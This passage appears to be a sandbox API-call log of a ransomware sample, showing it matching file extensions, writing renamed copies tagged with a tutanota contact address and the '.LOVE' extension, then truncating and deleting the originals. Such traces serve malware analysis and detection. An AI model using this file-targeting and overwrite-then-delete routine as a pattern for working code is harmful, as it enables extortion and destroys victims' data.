[0201.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0201.894] lstrlenW (lpString=".zip") returned 4 [0201.894] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0201.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0201.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0201.894] lstrlenW (lpString=".doc") returned 4 [0201.894] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0201.894] lstrlenW (lpString=".docx") returned 5 [0201.894] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0201.895] lstrlenW (lpString=".pdf") returned 4 [0201.895] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0201.895] lstrlenW (lpString=".xls") returned 4 [0201.895] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0201.895] lstrlenW (lpString=".xlsx") returned 5 [0201.895] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0201.895] lstrlenW (lpString=".ppt") returned 4 [0201.895] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0201.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0201.895] lstrlenW (lpString=".zip") returned 4 [0201.895] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0201.895] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0201.895] lstrlenW (lpString="splash@2x.gif") returned 13 [0201.895] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0201.896] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=15276) returned 1 [0201.896] CloseHandle (hObject=0x2c4) returned 1 [0201.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0201.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0201.896] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.896] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.896] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0201.897] GetLastError () returned 0x0 [0201.897] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x3bac, lpOverlapped=0x0) returned 1 [0201.927] WriteFile (in: hFile=0x33c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0201.928] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.928] WriteFile (in: hFile=0x33c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xee, lpOverlapped=0x0) returned 1 [0201.928] SetEndOfFile (hFile=0x33c) returned 1 [0201.928] CloseHandle (hObject=0x33c) returned 1 [0201.929] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.929] SetEndOfFile (hFile=0x2c4) returned 1 [0201.930] CloseHandle (hObject=0x2c4) returned 1 [0201.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0201.931] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0201.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.931] lstrlenW (lpString=".doc") returned 4 [0201.931] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.931] lstrlenW (lpString=".docx") returned 5 [0201.931] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0201.931] lstrlenW (lpString=".pdf") returned 4 [0201.931] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.931] lstrlenW (lpString=".xls") returned 4 [0201.931] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.931] lstrlenW (lpString=".xlsx") returned 5 [0201.931] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0201.931] lstrlenW (lpString=".ppt") returned 4 [0201.931] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.931] lstrlenW (lpString=".zip") returned 4 [0201.932] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.932] lstrlenW (lpString=".rar") returned 4 [0201.932] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.932] lstrlenW (lpString=".bz2") returned 4 [0201.932] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.932] lstrlenW (lpString=".7z") returned 3 [0201.932] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.932] lstrlenW (lpString=".dbf") returned 4 [0201.932] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.932] lstrlenW (lpString=".1cd") returned 4 [0201.932] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.932] lstrlenW (lpString=".jpg") returned 4 [0201.932] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.932] lstrlenW (lpString=".doc") returned 4 [0201.932] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.932] lstrlenW (lpString=".docx") returned 5 [0201.932] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0201.932] lstrlenW (lpString=".pdf") returned 4 [0201.932] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.932] lstrlenW (lpString=".xls") returned 4 [0201.932] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.932] lstrlenW (lpString=".xlsx") returned 5 [0201.932] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0201.933] lstrlenW (lpString=".ppt") returned 4 [0201.933] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.933] lstrlenW (lpString=".zip") returned 4 [0201.933] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.933] lstrlenW (lpString=".rar") returned 4 [0201.933] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.933] lstrlenW (lpString=".bz2") returned 4 [0201.933] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.933] lstrlenW (lpString=".7z") returned 3 [0201.933] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.933] lstrlenW (lpString=".dbf") returned 4 [0201.933] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.933] lstrlenW (lpString=".1cd") returned 4 [0201.933] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0201.933] lstrlenW (lpString=".jpg") returned 4 [0201.933] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.934] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0201.934] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0201.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0201.934] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=12250) returned 1 [0201.934] CloseHandle (hObject=0x2c4) returned 1 [0201.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0201.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0201.934] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.934] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0201.935] GetLastError () returned 0x0 [0201.935] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x2fda, lpOverlapped=0x0) returned 1 [0201.950] WriteFile (in: hFile=0x33c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0201.950] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.950] WriteFile (in: hFile=0x33c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xfc, lpOverlapped=0x0) returned 1 [0201.951] SetEndOfFile (hFile=0x33c) returned 1 [0201.953] CloseHandle (hObject=0x33c) returned 1 [0201.953] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.954] SetEndOfFile (hFile=0x2c4) returned 1 [0201.958] CloseHandle (hObject=0x2c4) returned 1 [0201.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0201.959] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0201.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.959] lstrlenW (lpString=".doc") returned 4 [0201.959] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.959] lstrlenW (lpString=".docx") returned 5 [0201.959] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0201.959] lstrlenW (lpString=".pdf") returned 4 [0201.959] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.959] lstrlenW (lpString=".xls") returned 4 [0201.959] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.959] lstrlenW (lpString=".xlsx") returned 5 [0201.959] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0201.959] lstrlenW (lpString=".ppt") returned 4 [0201.959] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.959] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.959] lstrlenW (lpString=".zip") returned 4 [0201.960] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.960] lstrlenW (lpString=".rar") returned 4 [0201.960] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.960] lstrlenW (lpString=".bz2") returned 4 [0201.960] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.960] lstrlenW (lpString=".7z") returned 3 [0201.960] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.960] lstrlenW (lpString=".dbf") returned 4 [0201.960] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.960] lstrlenW (lpString=".1cd") returned 4 [0201.960] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.960] lstrlenW (lpString=".jpg") returned 4 [0201.960] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.960] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.960] lstrlenW (lpString=".doc") returned 4 [0201.960] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0201.960] lstrlenW (lpString=".docx") returned 5 [0201.960] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0201.960] lstrlenW (lpString=".pdf") returned 4 [0201.960] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0201.960] lstrlenW (lpString=".xls") returned 4 [0201.960] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0201.960] lstrlenW (lpString=".xlsx") returned 5 [0201.960] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0201.960] lstrlenW (lpString=".ppt") returned 4 [0201.961] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0201.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.961] lstrlenW (lpString=".zip") returned 4 [0201.961] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0201.961] lstrlenW (lpString=".rar") returned 4 [0201.961] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0201.961] lstrlenW (lpString=".bz2") returned 4 [0201.961] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0201.961] lstrlenW (lpString=".7z") returned 3 [0201.961] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0201.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.961] lstrlenW (lpString=".dbf") returned 4 [0201.961] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0201.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.961] lstrlenW (lpString=".1cd") returned 4 [0201.961] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0201.961] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0201.961] lstrlenW (lpString=".jpg") returned 4 [0201.961] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0201.961] Sleep (dwMilliseconds=0x64) [0202.199] lstrcmpiW (lpString1=".gif", lpString2=".LOVE") returned -1 [0202.199] lstrlenW (lpString="win32_LinkNoDrop32x32.gif") returned 25 [0202.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.224] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=153) returned 1 [0202.224] CloseHandle (hObject=0x300) returned 1 [0202.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 0x20 [0202.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0202.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0202.277] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.278] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0202.278] GetLastError () returned 0x0 [0202.278] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x99, lpOverlapped=0x0) returned 1 [0202.279] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xa0, lpOverlapped=0x0) returned 1 [0202.280] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.280] WriteFile (in: hFile=0x2c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x106, lpOverlapped=0x0) returned 1 [0202.280] SetEndOfFile (hFile=0x2c4) returned 1 [0202.281] CloseHandle (hObject=0x2c4) returned 1 [0202.285] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.285] SetEndOfFile (hFile=0x300) returned 1 [0202.286] CloseHandle (hObject=0x300) returned 1 [0202.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0202.286] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif")) returned 1 [0202.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.286] lstrlenW (lpString=".doc") returned 4 [0202.286] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.286] lstrlenW (lpString=".docx") returned 5 [0202.286] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.287] lstrlenW (lpString=".pdf") returned 4 [0202.287] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.287] lstrlenW (lpString=".xls") returned 4 [0202.287] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.287] lstrlenW (lpString=".xlsx") returned 5 [0202.287] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.287] lstrlenW (lpString=".ppt") returned 4 [0202.287] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0202.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.287] lstrlenW (lpString=".zip") returned 4 [0202.287] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0202.287] lstrlenW (lpString=".rar") returned 4 [0202.287] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0202.287] lstrlenW (lpString=".bz2") returned 4 [0202.287] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0202.287] lstrlenW (lpString=".7z") returned 3 [0202.287] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0202.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.287] lstrlenW (lpString=".dbf") returned 4 [0202.287] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0202.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.287] lstrlenW (lpString=".1cd") returned 4 [0202.287] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0202.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.287] lstrlenW (lpString=".jpg") returned 4 [0202.287] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0202.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.287] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0202.287] lstrlenW (lpString=".doc") returned 4 [0202.288] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0202.288] lstrlenW (lpString=".docx") returned 5 [0202.288] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0202.288] lstrlenW (lpString=".pdf") returned 4 [0202.288] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0202.288] lstrlenW (lpString=".xls") returned 4 [0202.288] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0202.288] lstrlenW (lpString=".xlsx") returned 5 [0202.288] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0202.288] lstrlenW (lpString=".ppt") returned 4 